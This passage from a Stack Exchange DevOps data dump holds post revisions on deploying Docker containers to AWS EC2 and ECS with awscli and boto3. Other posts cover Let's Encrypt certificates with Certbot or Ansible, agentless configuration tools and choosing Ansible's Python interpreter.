built.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_service(&#xD;&#xA;        cluster=cluster_name,&#xD;&#xA;        serviceName=service_name,&#xD;&#xA;        taskDefinition=task_name,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Configuration of security groups in the ECS context has been highlighted on StackOverlow [already][11].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;=================&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, an end-to end of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;Before stepping into technical implementation, best is to make well elaborated decisions and choices addressing business goals and budget:&#xD;&#xA;&#xD;&#xA;- how many times will automation need to run and in which time period vs. time to implement it end-to-end from the beginning?&#xD;&#xA;- assess whether you need only EC2, or ECS with Fargate either EC2, or maybe you need Kubernetes?&#xD;&#xA;&#xD;&#xA;Further reading: &quot;*The Benefits of Managed Kubernetes vs. Amazon ECS*&quot; (short argument from a cloud consultant [blog][12] as of August 2019).&#xD;&#xA;&#xD;&#xA;&gt; A [2018 CNCF][13] survey cites **83%** of organizations use Kubernetes as&#xD;&#xA;&gt; their container orchestration solution vs. **24%** for ECS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html&#xD;&#xA;  [6]: https://github.com/kgoedecke/python-ecs-example/blob/master/python_ecs_example/deployment.py&#xD;&#xA;  [7]: https://github.com/AlexIoannides/py-docker-aws-example-project/blob/master/deploy_to_aws.py&#xD;&#xA;  [8]: https://aws.amazon.com/de/ecs/pricing/&#xD;&#xA;  [9]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/retrieve-ecs-optimized_AMI.html&#xD;&#xA;  [10]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/private-auth-container-instances.html&#xD;&#xA;  [11]: https://stackoverflow.com/questions/57827251/change-aws-ecs-services-security-groups&#xD;&#xA;  [12]: https://www.fairwinds.com/blog/the-benefits-of-managed-kubernetes-vs-amazon-ecs&#xD;&#xA;  [13]: https://www.cncf.io/blog/2018/08/29/cncf-survey-use-of-cloud-native-technologies-in-production-has-grown-over-200-percent/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31963" PostHistoryTypeId="5" PostId="10379" RevisionGUID="cdd05218-308d-4425-8fcf-f7aae75c77af" CreationDate="2020-01-05T21:18:20.383" UserId="707" Comment="added 123 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;EC2 deployment&#xD;&#xA;========&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/*boto3* stanzas you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative scenario with ECS&#xD;&#xA;===================================&#xD;&#xA;&#xD;&#xA;As described in these Python/boto3 examples [here][6] and [here][7], it's possible to define an machine cluster with the AWS ECS service and run containers there.&#xD;&#xA;&#xD;&#xA;Please note that ECS cluster offers you an [abstraction][8] either from AWS EC2 or AWS Fargate to deliver the actual virtual machines.&#xD;&#xA;&#xD;&#xA;If we go for EC2, again we need to [pick up][9] a recent machine image, but this we need a machine optimized for ECS. In a nutshell, these machines will have an ECS agent; through its configuration, we assign a machine to our target cluster. &#xD;&#xA;&#xD;&#xA;A small bonus is also that ECS machines have Docker daemon already preinstalled.&#xD;&#xA;&#xD;&#xA;So, we create an ECS cluster and add a virtual machine to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_cluster(clusterName=cluster_name)&#xD;&#xA;&#xD;&#xA;ec2_client.run_instances(&#xD;&#xA;        ImageId=AMI_ID,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + cluster_name + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the cluster, we can create a task definition of the service which are both abstract of the container concept.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.register_task_definition(&#xD;&#xA;        containerDefinitions=[&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot;: &quot;&lt;MY_SERVICE&gt;&quot;,&#xD;&#xA;          &quot;image&quot;: &quot;&lt;MY_IMAGE&gt;&quot;,&#xD;&#xA;          &quot;portMappings&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;containerPort&quot;: 80,&#xD;&#xA;              &quot;hostPort&quot;: 80&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        ],&#xD;&#xA;        family=&quot;hello_world&quot;&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, possibly you ask yourself, how would the Docker daemon on the instance know about your private registry to pull the specified image? For that, the machine's ECS agent needs [additional configuration][10].&#xD;&#xA;&#xD;&#xA;Now, you can launch the service, which will use the previously defined task to tell the previously authorized Docker daemon to pull the previously built and published image from ECR and run the container on the machine you've included in the ECS cluster &lt;s&gt;in the data center house that Jeff built.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_service(&#xD;&#xA;        cluster=cluster_name,&#xD;&#xA;        serviceName=service_name,&#xD;&#xA;        taskDefinition=task_name,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Configuration of security groups in the ECS context has been highlighted on StackOverlow [already][11]. In short, these are further calls to the API parts related to security group management.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;=================&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, an end-to end of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;Before stepping into technical implementation, best is to make well elaborated decisions and choices addressing business goals and budget:&#xD;&#xA;&#xD;&#xA;- how many times will automation need to run and in which time period vs. time to implement it end-to-end from the beginning?&#xD;&#xA;- assess whether you need only EC2, or ECS with EC2 either [Fargate][12] for stateless tasks, or maybe you need Kubernetes?&#xD;&#xA;&#xD;&#xA;Further reading: &quot;*The Benefits of Managed Kubernetes vs. Amazon ECS*&quot; (short argument from a cloud consultant [blog][13] as of August 2019).&#xD;&#xA;&#xD;&#xA;&gt; A [2018 CNCF][14] survey cites **83%** of organizations use Kubernetes as&#xD;&#xA;&gt; their container orchestration solution vs. **24%** for ECS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html&#xD;&#xA;  [6]: https://github.com/kgoedecke/python-ecs-example/blob/master/python_ecs_example/deployment.py&#xD;&#xA;  [7]: https://github.com/AlexIoannides/py-docker-aws-example-project/blob/master/deploy_to_aws.py&#xD;&#xA;  [8]: https://aws.amazon.com/de/ecs/pricing/&#xD;&#xA;  [9]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/retrieve-ecs-optimized_AMI.html&#xD;&#xA;  [10]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/private-auth-container-instances.html&#xD;&#xA;  [11]: https://stackoverflow.com/questions/57827251/change-aws-ecs-services-security-groups&#xD;&#xA;  [12]: https://www.dragonspears.com/blog/aws-container-orchestration-101-ecs-vs-fargate-vs-eks&#xD;&#xA;  [13]: https://www.fairwinds.com/blog/the-benefits-of-managed-kubernetes-vs-amazon-ecs&#xD;&#xA;  [14]: https://www.cncf.io/blog/2018/08/29/cncf-survey-use-of-cloud-native-technologies-in-production-has-grown-over-200-percent/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31964" PostHistoryTypeId="2" PostId="10394" RevisionGUID="19ee5a4f-1d3b-41fa-a670-f5dd6043ce21" CreationDate="2020-01-05T22:02:46.290" UserId="707" Text="@jasper, and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;While your statement can be [confirmed][1] by other voices, it's very hard to x-ray price policies of a company. It's a complex gameplay always driven by [many factors][2] and decisions and a question about pricing policies of Digital Ocean vs. AWS might be a good and on possibly well on topic question at Economics SE.&#xD;&#xA;&#xD;&#xA;For example, one could argue to find facts supporting the evidence of Digital Ocean currently being cheaper that:&#xD;&#xA;&#xD;&#xA;- Docker, Inc. is in a [situation][3] where it cannot afford losing customers, so maybe they a cautious and prefer lower margin to attract customers.&#xD;&#xA;- Amazon is the market's prime with top notch customers from overall industry and government: stability, seriousity and credability are way more important than money, especially given that expenditures on information technology is only a (small) part of industrial budget planning. Also, Amazon has many more data centers and is as whole [investing][4] *billions* to AI technology ($0.8b in [2017][5], almost complete estimated [market value][6] of Docker Inc.), custom data center hardware, buying startups etc.&#xD;&#xA;&#xD;&#xA;Please consider making your question more specific in the DevOps SE site context to get more answers.&#xD;&#xA;&#xD;&#xA;This sort of decision is possibly best to elaborate together with the customer, collect their business requirements if price is not the only one requirement and assess risks. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/Is-DigitalOcean-cheaper-compared-to-AWS-EC2&#xD;&#xA;  [2]: http://www.shareyouressays.com/knowledge/what-are-the-factors-influencing-pricing-decisions-in-a-market/112825&#xD;&#xA;  [3]: https://www.zdnet.com/article/docker-is-in-deep-trouble/&#xD;&#xA;  [4]: https://www.fool.com/investing/2019/10/29/amazons-spending-surge-is-coming-at-the-perfect-ti.aspx&#xD;&#xA;  [5]: https://www.techrepublic.com/article/the-10-tech-companies-that-have-invested-the-most-money-in-ai/&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Docker,_Inc." ContentLicense="CC BY-SA 4.0" />
  <row Id="31965" PostHistoryTypeId="5" PostId="10386" RevisionGUID="3795ab4f-9949-46e7-b435-6a334c2a0c4e" CreationDate="2020-01-06T00:45:02.570" UserId="18932" Comment="deleted 205 characters in body" Text="Others have pointed it out already; Certbot makes it easy to handle certificates&#xD;&#xA;while `acme_certificate` module is more flexible and transparent.&#xD;&#xA;&#xD;&#xA;## Acquire Certificate&#xD;&#xA;To request the ssl certificate with `acme_certificate`, there are good examples&#xD;&#xA;on [DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-acquire-a-let-s-encrypt-certificate-using-ansible-on-ubuntu-18-04)&#xD;&#xA;or on [Reddit](https://www.reddit.com/r/ansible/comments/9eyyug/is_there_a_way_to_fully_automate_setting_up_ssl/).&#xD;&#xA;These examples boil down to following tasks:&#xD;&#xA;&#xD;&#xA;1. Ensure you have a private key for your acme account. (module `openssl_privatekey`)&#xD;&#xA;2. Ensure you have a private key for your certificate. (module `openssl_privatekey`)&#xD;&#xA;3. Ensure you have a certificate signing request. (module `openssl_csr`)&#xD;&#xA;4. Then a challenge is requested from letsencrypt. (module `acme_certificate')&#xD;&#xA;5. One of the challenges `dns-01`, `http-01` or `tls-alpn-01` is implemented.&#xD;&#xA;6. The certficate from letsencrypt is requested. (module `acme_certificate')&#xD;&#xA;7. (optional) The challenge implementation is removed.&#xD;&#xA;8. The server configuration is updated with the ssl certificates.&#xD;&#xA;&#xD;&#xA;With Certbot you can have all these steps in one handy command. They provide&#xD;&#xA;[instructions for any platform](https://certbot.eff.org/instructions).&#xD;&#xA;```bash&#xD;&#xA;sudo certbot --nginx&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Module `acme_certificate` is Ansible native and a playbook with all these steps &#xD;&#xA;is only written once. The tasks in the playbook are transparent and you have&#xD;&#xA;the certificates and keys for your server configuration at hand. With Certbot&#xD;&#xA;you have to know the directory `/etc/letsencrypt/live/my.domain.com` wherein&#xD;&#xA;those artifacts are generated.&#xD;&#xA;&#xD;&#xA;## Renew Certificate&#xD;&#xA;A crucial point is the responsibility for certificate renewal. Above Certbot&#xD;&#xA;command has already created a cron job which checks the validity of the&#xD;&#xA;certificate and renews it if required. If the certificate is managed with&#xD;&#xA;Ansible you have to run an Ansible playbook for renewal.&#xD;&#xA;&#xD;&#xA;[Letsencrypt certificates are valid for 90 days, so the renewal process gets automated.](https://letsencrypt.org/2015/11/09/why-90-days.html)&#xD;&#xA;For the renewal, above Ansible playbook works, it does the renewal as well.&#xD;&#xA;However, it is advised to create a new csr (3) and certificate key (2) when a certificate&#xD;&#xA;is renewed. Handling this properly, the playbook will grow quite a bit.&#xD;&#xA;&#xD;&#xA;On Ubuntu, above certbot command has already created a cron job which handles certificate&#xD;&#xA;renewal, so nothing else needs to be done.&#xD;&#xA;&#xD;&#xA;## Conclusion&#xD;&#xA;There are roles in [Ansible Galaxy](https://galaxy.ansible.com/) for Certbot and&#xD;&#xA;`acme_certificate` module. Personally, I like `acme_certificate` module for its transparency and because it's an Ansible native solution. However, I run Ansible from my personal notebook&#xD;&#xA;and do not want to remember running a playbook for certificate renewal.&#xD;&#xA;Therefore, I have installed Certbot which runs on the host and does the renewal without an external trigger." ContentLicense="CC BY-SA 4.0" />
  <row Id="31966" PostHistoryTypeId="2" PostId="10395" RevisionGUID="59dea9b4-5401-49d9-a595-3e8139807994" CreationDate="2020-01-06T00:52:39.570" UserId="18949" Text="I am developing the architecture of this application and the way we need to scale is not just stateless API requests, but it's a logical split of responsibilities. In other words, we may only be able to work on data 1-5 while we need another instance to work on 6-10. We will need an undefined number of instances and would like a manager to spin up and down EC2 instances as needed. &#xD;&#xA;&#xD;&#xA;While scouring the web I am not able to come up with anything good, are there any good articles or is there a term for this? I have found IAC (Infrastrucure as Code) but from what I see that is simply deploying additional services, I don't see anything as IAC spun up from within the application. Is there a term for this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="31967" PostHistoryTypeId="1" PostId="10395" RevisionGUID="59dea9b4-5401-49d9-a595-3e8139807994" CreationDate="2020-01-06T00:52:39.570" UserId="18949" Text="Spin up an EC2 instance from within the application" ContentLicense="CC BY-SA 4.0" />
  <row Id="31968" PostHistoryTypeId="3" PostId="10395" RevisionGUID="59dea9b4-5401-49d9-a595-3e8139807994" CreationDate="2020-01-06T00:52:39.570" UserId="18949" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31969" PostHistoryTypeId="2" PostId="10396" RevisionGUID="402d1555-60d8-4bca-82b6-bbe55c1cccd4" CreationDate="2020-01-06T01:13:18.627" UserId="8800" Text="Use **AWS API** to spin up the instances. There are SDKs (Software Development Kits) for various languages, for example if you're using Python use [boto3][1] library. SDKs for other platforms are also available: [Tools to Build on AWS][2], including the command line tools [AWS-CLI][3] for use in shell scripts.&#xD;&#xA;&#xD;&#xA;With the SDK of choice you'll simply call something like `ec2.start_instance(...)` to spin up your new EC2. &#xD;&#xA;&#xD;&#xA;However I would question whether you really need standalone EC2 instances for your processing? Perhaps ECS Containers, especially [Fargate][4], or even serverless [lambda functions][5] triggered from a work queue may be a better choice?&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://aws.amazon.com/tools/&#xD;&#xA;  [3]: https://aws.amazon.com/cli/&#xD;&#xA;  [4]: https://aws.amazon.com/fargate/&#xD;&#xA;  [5]: https://aws.amazon.com/lambda/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31970" PostHistoryTypeId="2" PostId="10397" RevisionGUID="2ce3ffc5-15b2-48de-83b8-a2c2ad10e317" CreationDate="2020-01-06T04:36:25.027" UserId="14874" Text="Is there a DevOps methodology aimed towards academia and students? No." ContentLicense="CC BY-SA 4.0" />
  <row Id="31971" PostHistoryTypeId="2" PostId="10398" RevisionGUID="cf525afa-cdc6-4c5b-8940-86b28d45445a" CreationDate="2020-01-06T06:57:57.190" UserId="18932" Text="Regarding *no requirements on the target device*, of the tools you mention, only Ansible does not need an agent on the host. The minimal requirement to use Ansible modules is Python on the host you want to update. If you don't have Python on hosts you could even send raw commands to the hosts.&#xD;&#xA;&#xD;&#xA;Wikipedia has a [list comparing configuration management software](https://en.wikipedia.org/wiki/Comparison_of_open-source_configuration_management_software), there you can find other agent-less tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Not listed on Wikipedia is [Fabric](http://www.fabfile.org/), a simple Python library to execute remote shell commands. It is agent-less as well.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31972" PostHistoryTypeId="12" PostId="10398" RevisionGUID="b445b707-6ce3-465b-873d-293779124d91" CreationDate="2020-01-06T06:58:21.663" UserId="18932" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18932,&quot;DisplayName&quot;:&quot;conspicillatus&quot;}]}" />
  <row Id="31973" PostHistoryTypeId="13" PostId="10398" RevisionGUID="4b590ce3-ecb3-4afb-9729-9e34c831299a" CreationDate="2020-01-06T07:00:50.867" UserId="18932" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:18932,&quot;DisplayName&quot;:&quot;conspicillatus&quot;}]}" />
  <row Id="31977" PostHistoryTypeId="2" PostId="10400" RevisionGUID="cfcebc97-0dda-48b3-9c8e-f91e3c9b4ca7" CreationDate="2020-01-06T07:45:02.450" UserId="18932" Text="There are two options either you make sure you use the same Python version on each host or you make sure to always use `python2` or `python3`.&#xD;&#xA;&#xD;&#xA;## Package per Python version&#xD;&#xA;As you have proposed yourself, ensure to get the right package for each Python version of those are not the same.&#xD;&#xA;```yaml&#xD;&#xA;- pip:&#xD;&#xA;    name: package2&#xD;&#xA;  when: ansible_python.version.major==2&#xD;&#xA;&#xD;&#xA;- pip:&#xD;&#xA;    name: package3&#xD;&#xA;  when: ansible_python.version.major==3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Chose same Python interpreter&#xD;&#xA;Alternatively, provide the python binary to use. Since you have Ubuntu on each host, the location is always the same.&#xD;&#xA;&#xD;&#xA;Either in your inventory `hosts`&#xD;&#xA;```yaml&#xD;&#xA;[webserver]&#xD;&#xA;srv1.example.com&#xD;&#xA;srv2.example.com&#xD;&#xA;&#xD;&#xA;[webserver:vars]&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or in your Ansible configuration `ansible.cfg`&#xD;&#xA;```yaml&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;See also https://docs.ansible.com/ansible/latest/reference_appendices/python_3_support.html#using-python-3-on-the-managed-machines-with-commands-and-playbooks" ContentLicense="CC BY-SA 4.0" />
  <row Id="31978" PostHistoryTypeId="5" PostId="10400" RevisionGUID="b61eb5fd-c289-493b-b00d-5dd293b0a0cb" CreationDate="2020-01-06T07:51:43.770" UserId="18932" Comment="added 81 characters in body" Text="There are two options either you make sure you use the same Python version on each host or you make sure to always use `python2` or `python3`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Chose same Python interpreter&#xD;&#xA;Provide the python binary to use. Since you have a Debian on each host, the location is always the same. If you know a Python version that is available on each host, go for this.&#xD;&#xA;&#xD;&#xA;Either in your inventory `hosts`&#xD;&#xA;```yaml&#xD;&#xA;[webserver]&#xD;&#xA;srv1.example.com&#xD;&#xA;srv2.example.com&#xD;&#xA;&#xD;&#xA;[webserver:vars]&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or in your Ansible configuration `ansible.cfg`&#xD;&#xA;```yaml&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;See also https://docs.ansible.com/ansible/latest/reference_appendices/python_3_support.html#using-python-3-on-the-managed-machines-with-commands-and-playbooks&#xD;&#xA;&#xD;&#xA;## Package per Python version&#xD;&#xA;If you do not know whether either Python 3 or 2 is available on each host, ensure to get the right package for each Python version.&#xD;&#xA;```yaml&#xD;&#xA;- apt:&#xD;&#xA;    name: python-apt&#xD;&#xA;  when: ansible_python.version.major==2&#xD;&#xA;&#xD;&#xA;- apt:&#xD;&#xA;    name: python3-apt&#xD;&#xA;  when: ansible_python.version.major==3&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="31979" PostHistoryTypeId="5" PostId="10400" RevisionGUID="883d8a7e-3dc0-4d5e-913d-8ea07d6be965" CreationDate="2020-01-06T07:58:21.743" UserId="18932" Comment="added 81 characters in body" Text="There are two options either you make sure you use the same Python version on each host or you make sure to always use `python2` or `python3`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Chose same Python interpreter&#xD;&#xA;Provide the python binary to use. Since you have a Debian on each host, the location is always the same. If you know a Python version that is available on each host, go for this.&#xD;&#xA;&#xD;&#xA;Either in your inventory `hosts`&#xD;&#xA;```yaml&#xD;&#xA;[webserver]&#xD;&#xA;srv1.example.com&#xD;&#xA;srv2.example.com&#xD;&#xA;&#xD;&#xA;[webserver:vars]&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or in your Ansible configuration `ansible.cfg`&#xD;&#xA;```yaml&#xD;&#xA;ansible_python_interpreter=/usr/bin/python3&#xD;&#xA;```&#xD;&#xA;See also 